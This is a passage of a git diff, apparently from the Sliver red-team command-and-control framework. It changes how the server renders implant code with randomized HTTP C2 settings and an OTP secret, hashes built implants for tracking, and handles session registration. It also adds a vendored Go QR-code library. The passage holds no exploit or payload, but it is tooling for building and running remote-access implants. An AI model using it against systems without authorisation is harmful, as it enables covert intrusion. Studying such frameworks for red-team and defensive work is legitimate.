if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
|
||||
binDir := path.Join(projectGoPathDir, "bin")
|
||||
os.MkdirAll(binDir, 0700)
|
||||
@@ -599,17 +611,32 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
buf := bytes.NewBuffer([]byte{})
|
||||
buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
|
||||
|
||||
// Render code
|
||||
sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
|
||||
// --------------
|
||||
// Render Code
|
||||
// --------------
|
||||
sliverCodeTmpl := template.New("sliver")
|
||||
sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
|
||||
"GenerateUserAgent": func() string {
|
||||
return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
|
||||
},
|
||||
}).Parse(sliverGoCode)
|
||||
if err != nil {
|
||||
buildLog.Errorf("Template parsing error %s", err)
|
||||
return "", err
|
||||
}
|
||||
err = sliverCodeTmpl.Execute(buf, struct {
|
||||
Name string
|
||||
Config *models.ImplantConfig
|
||||
Name string
|
||||
Config *models.ImplantConfig
|
||||
OTPSecret string
|
||||
HTTPC2Config *configs.HTTPC2ImplantConfig
|
||||
}{
|
||||
name,
|
||||
config,
|
||||
otpSecret,
|
||||
configs.GetHTTPC2Config().RandomImplantConfig(),
|
||||
})
|
||||
if err != nil {
|
||||
buildLog.Error(err)
|
||||
buildLog.Errorf("Template execution error %s", err)
|
||||
return "", err
|
||||
}
|
||||
|
||||
|
||||
@@ -20,6 +20,8 @@ package generate
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -34,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/watchtower"
|
||||
"gorm.io/gorm/clause"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
|
||||
return buildsDir, nil
|
||||
}
|
||||
|
||||
// ImplantConfigSave - Save only the config to the database
|
||||
func ImplantConfigSave(config *models.ImplantConfig) error {
|
||||
dbSession := db.Session()
|
||||
result := dbSession.Clauses(clause.OnConflict{
|
||||
UpdateAll: true,
|
||||
}).Create(&config)
|
||||
if result.Error != nil {
|
||||
return result.Error
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ImplantBuildSave - Saves a binary file into the database
|
||||
func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
|
||||
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
|
||||
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
sum := md5.Sum(data)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
|
||||
buildsDir, err := getBuildsDir()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
implantBuild := &models.ImplantBuild{
|
||||
Name: name,
|
||||
ImplantConfig: (*config),
|
||||
Checksum: hash,
|
||||
MD5: md5Hash,
|
||||
SHA1: sha1Hash,
|
||||
SHA256: sha256Hash,
|
||||
}
|
||||
watchtower.AddImplantToWatchlist(implantBuild)
|
||||
result := dbSession.Create(&implantBuild)
|
||||
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
|
||||
}
|
||||
|
||||
func computeHashes(data []byte) (string, string, string) {
|
||||
md5Sum := md5.Sum(data)
|
||||
md5Hash := hex.EncodeToString(md5Sum[:])
|
||||
sha1Sum := sha1.Sum(data)
|
||||
sha1Hash := hex.EncodeToString(sha1Sum[:])
|
||||
sha256Sum := sha256.Sum256(data)
|
||||
sha256Hash := hex.EncodeToString(sha256Sum[:])
|
||||
return md5Hash, sha1Hash, sha256Hash
|
||||
}
|
||||
|
||||
// ImplantFileFromBuild - Saves a binary file into the database
|
||||
func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
|
||||
buildsDir, err := getBuildsDir()
|
||||
|
||||
@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
|
||||
}
|
||||
|
||||
func registerSessionHandler(session *core.Session, data []byte) {
|
||||
register := &sliverpb.Register{}
|
||||
err := proto.Unmarshal(data, register)
|
||||
if err != nil {
|
||||
handlerLog.Warnf("error decoding message: %v", err)
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session == nil {
|
||||
register := &sliverpb.Register{}
|
||||
err := proto.Unmarshal(data, register)
|
||||
if err != nil {
|
||||
handlerLog.Errorf("Error decoding message: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
|
||||
// Parse Register UUID
|
||||
sessionUUID, err := uuid.Parse(register.Uuid)
|
||||
if err != nil {
|
||||
// Generate Random UUID
|
||||
sessionUUID = uuid.New()
|
||||
sessionUUID = uuid.New() // Generate Random UUID
|
||||
}
|
||||
|
||||
session.Name = register.Name
|
||||
session.Hostname = register.Hostname
|
||||
session.UUID = sessionUUID.String()
|
||||
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
|
||||
}
|
||||
|
||||
func pingHandler(session *core.Session, data []byte) {
|
||||
handlerLog.Infof("ping from session %d", session.ID)
|
||||
handlerLog.Debugf("ping from session %d", session.ID)
|
||||
}
|
||||
@@ -21,8 +21,8 @@ var (
|
||||
|
||||
func update(implantBuild *models.ImplantBuild) {
|
||||
if watcher != nil && initialized {
|
||||
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
|
||||
watcher.Add(implantBuild.Name, implantBuild.Checksum)
|
||||
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
|
||||
watcher.Add(implantBuild.Name, implantBuild.MD5)
|
||||
watchtowerLog.Debugf("Implant added to the watch list")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
|
||||
if encoder, ok := EncoderMap[encoderID]; ok {
|
||||
return encoderID, encoder, nil
|
||||
}
|
||||
return -1, nil, errors.New("{{if .Config.Debug}}Invalid encoder nonce{{end}}")
|
||||
return -1, nil, errors.New("Invalid encoder nonce")
|
||||
}
|
||||
|
||||
// RandomEncoder - Get a random nonce identifier and a matching encoder
|
||||
|
||||
+1
@@ -0,0 +1 @@
|
||||
.vscode/
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2014 Florian Sundermann
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
[](https://gitter.im/golang-barcode/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
|
||||
|
||||
## Introduction ##
|
||||
|
||||
This is a package for GO which can be used to create different types of barcodes.
|
||||
|
||||
## Supported Barcode Types ##
|
||||
* 2 of 5
|
||||
* Aztec Code
|
||||
* Codabar
|
||||
* Code 128
|
||||
* Code 39
|
||||
* Code 93
|
||||
* Datamatrix
|
||||
* EAN 13
|
||||
* EAN 8
|
||||
* PDF 417
|
||||
* QR Code
|
||||
|
||||
## Example ##
|
||||
|
||||
This is a simple example on how to create a QR-Code and write it to a png-file
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"image/png"
|
||||
"os"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/qr"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// Create the barcode
|
||||
qrCode, _ := qr.Encode("Hello World", qr.M, qr.Auto)
|
||||
|
||||
// Scale the barcode to 200x200 pixels
|
||||
qrCode, _ = barcode.Scale(qrCode, 200, 200)
|
||||
|
||||
// create the output file
|
||||
file, _ := os.Create("qrcode.png")
|
||||
defer file.Close()
|
||||
|
||||
// encode the barcode as png
|
||||
png.Encode(file, qrCode)
|
||||
}
|
||||
```
|
||||
|
||||
## Documentation ##
|
||||
See [GoDoc](https://godoc.org/github.com/boombuler/barcode)
|
||||
|
||||
To create a barcode use the Encode function from one of the subpackages.
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
package barcode
|
||||
|
||||
import "image"
|
||||
|
||||
const (
|
||||
TypeAztec = "Aztec"
|
||||
TypeCodabar = "Codabar"
|
||||
TypeCode128 = "Code 128"
|
||||
TypeCode39 = "Code 39"
|
||||
TypeCode93 = "Code 93"
|
||||
TypeDataMatrix = "DataMatrix"
|
||||
TypeEAN8 = "EAN 8"
|
||||
TypeEAN13 = "EAN 13"
|
||||
TypePDF = "PDF417"
|
||||
TypeQR = "QR Code"
|
||||
Type2of5 = "2 of 5"
|
||||
Type2of5Interleaved = "2 of 5 (interleaved)"
|
||||
)
|
||||
|
||||
// Contains some meta information about a barcode
|
||||
type Metadata struct {
|
||||
// the name of the barcode kind
|
||||
CodeKind string
|
||||
// contains 1 for 1D barcodes or 2 for 2D barcodes
|
||||
Dimensions byte
|
||||
}
|
||||
|
||||
// a rendered and encoded barcode
|
||||
type Barcode interface {
|
||||
image.Image
|
||||
// returns some meta information about the barcode
|
||||
Metadata() Metadata
|
||||
// the data that was encoded in this barcode
|
||||
Content() string
|
||||
}
|
||||
|
||||
// Additional interface that some barcodes might implement to provide
|
||||
// the value of its checksum.
|
||||
type BarcodeIntCS interface {
|
||||
Barcode
|
||||
CheckSum() int
|
||||
}
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
const charSet string = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
|
||||
|
||||
func stringToAlphaIdx(content string) <-chan int {
|
||||
result := make(chan int)
|
||||
go func() {
|
||||
for _, r := range content {
|
||||
idx := strings.IndexRune(charSet, r)
|
||||
result <- idx
|
||||
if idx < 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
close(result)
|
||||
}()
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func encodeAlphaNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
|
||||
contentLenIsOdd := len(content)%2 == 1
|
||||
contentBitCount := (len(content) / 2) * 11
|
||||
if contentLenIsOdd {
|
||||
contentBitCount += 6
|
||||
}
|
||||
vi := findSmallestVersionInfo(ecl, alphaNumericMode, contentBitCount)
|
||||
if vi == nil {
|
||||
return nil, nil, errors.New("To much data to encode")
|
||||
}
|
||||
|
||||
res := new(utils.BitList)
|
||||
res.AddBits(int(alphaNumericMode), 4)
|
||||
res.AddBits(len(content), vi.charCountBits(alphaNumericMode))
|
||||
|
||||
encoder := stringToAlphaIdx(content)
|
||||
|
||||
for idx := 0; idx < len(content)/2; idx++ {
|
||||
c1 := <-encoder
|
||||
c2 := <-encoder
|
||||
if c1 < 0 || c2 < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
|
||||
}
|
||||
res.AddBits(c1*45+c2, 11)
|
||||
}
|
||||
if contentLenIsOdd {
|
||||
c := <-encoder
|
||||
if c < 0 {
|
||||
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
|
||||
}
|
||||
res.AddBits(c, 6)
|
||||
}
|
||||
|
||||
addPaddingAndTerminator(res, vi)
|
||||
|
||||
return res, vi, nil
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package qr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
func encodeAuto(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
|
||||
bits, vi, _ := Numeric.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
bits, vi, _ = AlphaNumeric.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
bits, vi, _ = Unicode.getEncoder()(content, ecl)
|
||||
if bits != nil && vi != nil {
|
||||
return bits, vi, nil
|
||||
}
|
||||
return nil, nil, fmt.Errorf("No encoding found to encode \"%s\"", content)
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package qr
|
||||
|
||||
type block struct {
|
||||
data []byte
|
||||
ecc []byte
|
||||
}
|
||||
type blockList []*block
|
||||
|
||||
func splitToBlocks(data <-chan byte, vi *versionInfo) blockList {
|
||||
result := make(blockList, vi.NumberOfBlocksInGroup1+vi.NumberOfBlocksInGroup2)
|
||||
|
||||
for b := 0; b < int(vi.NumberOfBlocksInGroup1); b++ {
|
||||
blk := new(block)
|
||||
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup1)
|
||||
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup1); cw++ {
|
||||
blk.data[cw] = <-data
|
||||
}
|
||||
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
|
||||
result[b] = blk
|
||||
}
|
||||
|
||||
for b := 0; b < int(vi.NumberOfBlocksInGroup2); b++ {
|
||||
blk := new(block)
|
||||
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup2)
|
||||
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup2); cw++ {
|
||||
blk.data[cw] = <-data
|
||||
}
|
||||
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
|
||||
result[int(vi.NumberOfBlocksInGroup1)+b] = blk
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (bl blockList) interleave(vi *versionInfo) []byte {
|
||||
var maxCodewordCount int
|
||||
if vi.DataCodeWordsPerBlockInGroup1 > vi.DataCodeWordsPerBlockInGroup2 {
|
||||
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup1)
|
||||
} else {
|
||||
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup2)
|
||||
}
|
||||
resultLen := (vi.DataCodeWordsPerBlockInGroup1+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup1 +
|
||||
(vi.DataCodeWordsPerBlockInGroup2+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup2
|
||||
|
||||
result := make([]byte, 0, resultLen)
|
||||
for i := 0; i < maxCodewordCount; i++ {
|
||||
for b := 0; b < len(bl); b++ {
|
||||
if len(bl[b].data) > i {
|
||||
result = append(result, bl[b].data[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
for i := 0; i < int(vi.ErrorCorrectionCodewordsPerBlock); i++ {
|
||||
for b := 0; b < len(bl); b++ {
|
||||
result = append(result, bl[b].ecc[i])
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
+416
@@ -0,0 +1,416 @@
|
||||
// Package qr can be used to create QR barcodes.
|
||||
package qr
|
||||
|
||||
import (
|
||||
"image"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
"github.com/boombuler/barcode/utils"
|
||||
)
|
||||
|
||||
type encodeFn func(content string, eccLevel ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error)
|
||||
|
||||
// Encoding mode for QR Codes.
|
||||
type Encoding byte
|
||||
|
||||
const (
|
||||
// Auto will choose ths best matching encoding
|
||||
Auto Encoding = iota
|
||||
// Numeric encoding only encodes numbers [0-9]
|
||||
Numeric
|
||||
// AlphaNumeric encoding only encodes uppercase letters, numbers and [Space], $, %, *, +, -, ., /, :
|
||||
AlphaNumeric
|
||||
// Unicode encoding encodes the string as utf-8
|
||||
Unicode
|
||||
// only for testing purpose
|
||||
unknownEncoding
|
||||
)
|
||||
|
||||
func (e Encoding) getEncoder() encodeFn {
|
||||
switch e {
|
||||
case Auto:
|
||||
return encodeAuto
|
||||
case Numeric:
|
||||
return encodeNumeric
|
||||
case AlphaNumeric:
|
||||
return encodeAlphaNumeric
|
||||
case Unicode:
|
||||
return encodeUnicode
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e Encoding) String() string {
|
||||
switch e {
|
||||
case Auto:
|
||||
return "Auto"
|
||||
case Numeric:
|
||||
return "Numeric"
|
||||
case AlphaNumeric:
|
||||
return "AlphaNumeric"
|
||||
case Unicode:
|
||||
return "Unicode"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Encode returns a QR barcode with the given content, error correction level and uses the given encoding
|
||||
func Encode(content string, level ErrorCorrectionLevel, mode Encoding) (barcode.Barcode, error) {
|
||||
bits, vi, err := mode.getEncoder()(content, level)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
blocks := splitToBlocks(bits.IterateBytes(), vi)
|
||||
data := blocks.interleave(vi)
|
||||
result := render(data, vi)
|
||||
result.content = content
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func render(data []byte, vi *versionInfo) *qrcode {
|
||||
dim := vi.modulWidth()
|
||||
results := make([]*qrcode, 8)
|
||||
for i := 0; i < 8; i++ {
|
||||
results[i] = newBarcode(dim)
|
||||
}
|
||||
|
||||
occupied := newBarcode(dim)
|
||||
|
||||
setAll := func(x int, y int, val bool) {
|
||||
occupied.Set(x, y, true)
|
||||
for i := 0; i < 8; i++ {
|
||||
results[i].Set(x, y, val)
|
||||
}
|
||||
}
|
||||
|
||||
drawFinderPatterns(vi, setAll)
|
||||
drawAlignmentPatterns(occupied, vi, setAll)
|
||||
|
||||
//Timing Pattern:
|
||||
var i int
|
||||
for i = 0; i < dim; i++ {
|
||||
if !occupied.Get(i, 6) {
|
||||
setAll(i, 6, i%2 == 0)
|
||||
}
|
||||
if !occupied.Get(6, i) {
|
||||
setAll(6, i, i%2 == 0)
|
||||
}
|
||||
}
|
||||
// Dark Module
|
||||
setAll(8, dim-8, true)
|
||||
|
||||
drawVersionInfo(vi, setAll)
|
||||
drawFormatInfo(vi, -1, occupied.Set)
|
||||
for i := 0; i < 8; i++ {
|
||||
drawFormatInfo(vi, i, results[i].Set)
|
||||
}
|
||||
|
||||
// Write the data
|
||||
var curBitNo int
|
||||
|
||||
for pos := range iterateModules(occupied) {
|
||||
var curBit bool
|
||||
if curBitNo < len(data)*8 {
|
||||
curBit = ((data[curBitNo/8] >> uint(7-(curBitNo%8))) & 1) == 1
|
||||
} else {
|
||||
curBit = false
|
||||
}
|
||||
|
||||
for i := 0; i < 8; i++ {
|
||||
setMasked(pos.X, pos.Y, curBit, i, results[i].Set)
|
||||
}
|
||||
curBitNo++
|
||||
}
|
||||
|
||||
lowestPenalty := ^uint(0)
|
||||
lowestPenaltyIdx := -1
|
||||
for i := 0; i < 8; i++ {
|
||||
p := results[i].calcPenalty()
|
||||
if p < lowestPenalty {
|
||||
lowestPenalty = p
|
||||
lowestPenaltyIdx = i
|
||||
}
|
||||
}
|
||||
return results[lowestPenaltyIdx]
|
||||
}
|
||||
|
||||
func setMasked(x, y int, val bool, mask int, set func(int, int, bool)) {
|
||||
switch mask {
|
||||
case 0:
|
||||
val = val != (((y + x) % 2) == 0)
|
||||
break
|
||||
case 1:
|
||||
val = val != ((y % 2) == 0)
|
||||
break
|
||||
case 2:
|
||||
val = val != ((x % 3) == 0)
|
||||
break
|
||||
case 3:
|
||||
val = val != (((y + x) % 3) == 0)
|
||||
break
|
||||
case 4:
|
||||
val = val != (((y/2 + x/3) % 2) == 0)
|
||||
break
|
||||
case 5:
|
||||
val = val != (((y*x)%2)+((y*x)%3) == 0)
|
||||
break
|
||||
case 6:
|
||||
val = val != ((((y*x)%2)+((y*x)%3))%2 == 0)
|
||||
break
|
||||
case 7:
|
||||
val = val != ((((y+x)%2)+((y*x)%3))%2 == 0)
|
||||
}
|
||||
set(x, y, val)
|
||||
}
|
||||
|
||||
func iterateModules(occupied *qrcode) <-chan image.Point {
|
||||
result := make(chan image.Point)
|
||||
allPoints := make(chan image.Point)
|
||||
go func() {
|
||||
curX := occupied.dimension - 1
|
||||
curY := occupied.dimension - 1
|
||||
isUpward := true
|
||||
|
||||
for true {
|
||||
if isUpward {
|
||||
allPoints <- image.Pt(curX, curY)
|
||||
allPoints <- image.Pt(curX-1, curY)
|
||||
curY--
|
||||
if curY < 0 {
|
||||
curY = 0
|
||||
curX -= 2
|
||||
if curX == 6 {
|
||||
curX--
|
||||
}
|
||||
if curX < 0 {
|
||||
break
|
||||
}
|
||||
isUpward = false
|
||||
}
|
||||
} else {
|
||||
allPoints <- image.Pt(curX, curY)
|
||||
allPoints <- image.Pt(curX-1, curY)
|
||||
curY++
|
||||
if curY >= occupied.dimension {
|
||||
curY = occupied.dimension - 1
|
||||
curX -= 2
|
||||
if curX == 6 {
|
||||
curX--
|
||||
}
|
||||
isUpward = true
|
||||
if curX < 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close(allPoints)
|
||||
}()
|
||||
go func() {
|
||||
for pt := range allPoints {
|
||||
if !occupied.Get(pt.X, pt.Y) {
|
||||
result <- pt
|
||||
}
|
||||
}
|
||||
close(result)
|
||||
}()
|
||||
return result
|
||||
}
|
||||
|
||||
func drawFinderPatterns(vi *versionInfo, set func(int, int, bool)) {
|
||||
dim := vi.modulWidth()
|
||||
drawPattern := func(xoff int, yoff int) {
|
||||
for x := -1; x < 8; x++ {
|
||||
for y := -1; y < 8; y++ {
|
||||
val := (x == 0 || x == 6 || y == 0 || y == 6 || (x > 1 && x < 5 && y > 1 && y < 5)) && (x <= 6 && y <= 6 && x >= 0 && y >= 0)
|
||||
|
||||
if x+xoff >= 0 && x+xoff < dim && y+yoff >= 0 && y+yoff < dim {
|
||||
set(x+xoff, y+yoff, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
drawPattern(0, 0)
|
||||
drawPattern(0, dim-7)
|
||||
drawPattern(dim-7, 0)
|
||||
}
|
||||
|
||||
func drawAlignmentPatterns(occupied *qrcode, vi *versionInfo, set func(int, int, bool)) {
|
||||
drawPattern := func(xoff int, yoff int) {
|
||||
for x := -2; x <= 2; x++ {
|
||||
for y := -2; y <= 2; y++ {
|
||||
val := x == -2 || x == 2 || y == -2 || y == 2 || (x == 0 && y == 0)
|
||||
set(x+xoff, y+yoff, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
positions := vi.alignmentPatternPlacements()
|
||||
|
||||
for _, x := range positions {
|
||||
for _, y := range positions {
|
||||
if occupied.Get(x, y) {
|
||||
continue
|
||||
}
|
||||
drawPattern(x, y)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var formatInfos = map[ErrorCorrectionLevel]map[int][]bool{
|
||||
L: {
|
||||
0: []bool{true, true, true, false, true, true, true, true, true, false, false, false, true, false, false},
|
||||
1: []bool{true, true, true, false, false, true, false, true, true, true, true, false, false, true, true},
|
||||
2: []bool{true, true, true, true, true, false, true, true, false, true, false, true, false, true, false},
|
||||
3: []bool{true, true, true, true, false, false, false, true, false, false, true, true, true, false, true},
|
||||
4: []bool{true, true, false, false, true, true, false, false, false, true, false, true, true, true, true},
|
||||
5: []bool{true, true, false, false, false, true, true, false, false, false, true, true, false, false, false},
|
||||
6: []bool{true, true, false, true, true, false, false, false, true, false, false, false, false, false, true},
|
||||
7: []bool{true, true, false, true, false, false, true, false, true, true, true, false, true, true, false},
|
||||
},
|
||||
M: {
|
||||
0: []bool{true, false, true, false, true, false, false, false, false, false, true, false, false, true, false},
|
||||
1: []bool{true, false, true, false, false, false, true, false, false, true, false, false, true, false, true},
|
||||
2: []bool{true, false, true, true, true, true, false, false, true, true, true, true, true, false, false},
|
||||
3: []bool{true, false, true, true, false, true, true, false, true, false, false, true, false, true, true},
|
||||
4: []bool{true, false, false, false, true, false, true, true, true, true, true, true, false, false, true},
|
||||
5: []bool{true, false, false, false, false, false, false, true, true, false, false, true, true, true, false},
|
||||
6: []bool{true, false, false, true, true, true, true, true, false, false, true, false, true, true, true},
|
||||
7: []bool{true, false, false, true, false, true, false, true, false, true, false, false, false, false, false},
|
||||
},
|
||||
Q: {
|
||||
0: []bool{false, true, true, false, true, false, true, false, true, false, true, true, true, true, true},
|
||||
1: []bool{false, true, true, false, false, false, false, false, true, true, false, true, false, false, false},
|
||||
2: []bool{false, true, true, true, true, true, true, false, false, true, true, false, false, false, true},
|
||||
3: []bool{false, true, true, true, false, true, false, false, false, false, false, false, true, true, false},
|
||||
4: []bool{false, true, false, false, true, false, false, true, false, true, true, false, true, false, false},
|
||||
5: []bool{false, true, false, false, false, false, true, true, false, false, false, false, false, true, true},
|
||||
6: []bool{false, true, false, true, true, true, false, true, true, false, true, true, false, true, false},
|
||||
7: []bool{false, true, false, true, false, true, true, true, true, true, false, true, true, false, true},
|
||||
},
|
||||
H: {
|
||||
0: []bool{false, false, true, false, true, true, false, true, false, false, false, true, false, false, true},
|
||||
1: []bool{false, false, true, false, false, true, true, true, false, true, true, true, true, true, false},
|
||||
2: []bool{false, false, true, true, true, false, false, true, true, true, false, false, true, true, true},
|
||||
3: []bool{false, false, true, true, false, false, true, true, true, false, true, false, false, false, false},
|
||||
4: []bool{false, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
|
||||
5: []bool{false, false, false, false, false, true, false, false, true, false, true, false, true, false, true},
|
||||
6: []bool{false, false, false, true, true, false, true, false, false, false, false, true, true, false, false},
|
||||
7: []bool{false, false, false, true, false, false, false, false, false, true, true, true, false, true, true},
|
||||
},
|
||||
}
|
||||
|
||||
func drawFormatInfo(vi *versionInfo, usedMask int, set func(int, int, bool)) {
|
||||
var formatInfo []bool
|
||||
|
||||
if usedMask == -1 {
|
||||
formatInfo = []bool{true, true, true, true, true, true, true, true, true, true, true, true, true, true, true} // Set all to true cause -1 --> occupied mask.
|
||||
} else {
|
||||
formatInfo = formatInfos[vi.Level][usedMask]
|
||||
}
|
||||
|
||||
if len(formatInfo) == 15 {
|
||||
dim := vi.modulWidth()
|
||||
set(0, 8, formatInfo[0])
|
||||
set(1, 8, formatInfo[1])
|
||||
set(2, 8, formatInfo[2])
|
||||
set(3, 8, formatInfo[3])
|
||||
set(4, 8, formatInfo[4])
|
||||
set(5, 8, formatInfo[5])
|
||||
set(7, 8, formatInfo[6])
|
||||
set(8, 8, formatInfo[7])
|
||||
set(8, 7, formatInfo[8])
|
||||
set(8, 5, formatInfo[9])
|
||||
set(8, 4, formatInfo[10])
|
||||
set(8, 3, formatInfo[11])
|
||||
set(8, 2, formatInfo[12])
|
||||
set(8, 1, formatInfo[13])
|
||||
set(8, 0, formatInfo[14])
|
||||
|
||||
set(8, dim-1, formatInfo[0])
|
||||
set(8, dim-2, formatInfo[1])
|
||||
set(8, dim-3, formatInfo[2])
|
||||
set(8, dim-4, formatInfo[3])
|
||||
set(8, dim-5, formatInfo[4])
|
||||
set(8, dim-6, formatInfo[5])
|
||||
set(8, dim-7, formatInfo[6])
|
||||
set(dim-8, 8, formatInfo[7])
|
||||
set(dim-7, 8, formatInfo[8])
|
||||
set(dim-6, 8, formatInfo[9])
|
||||
set(dim-5, 8, formatInfo[10])
|
||||
set(dim-4, 8, formatInfo[11])
|
||||
set(dim-3, 8, formatInfo[12])
|
||||
set(dim-2, 8, formatInfo[13])
|
||||
set(dim-1, 8, formatInfo[14])
|
||||
}
|
||||
}
|
||||
|
||||
var versionInfoBitsByVersion = map[byte][]bool{
|
||||
7: []bool{false, false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false},
|
||||
8: []bool{false, false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false},
|
||||
9: []bool{false, false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true},
|
||||
10: []bool{false, false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true},
|
||||
11: []bool{false, false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false},
|
||||
12: []bool{false, false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
|
||||
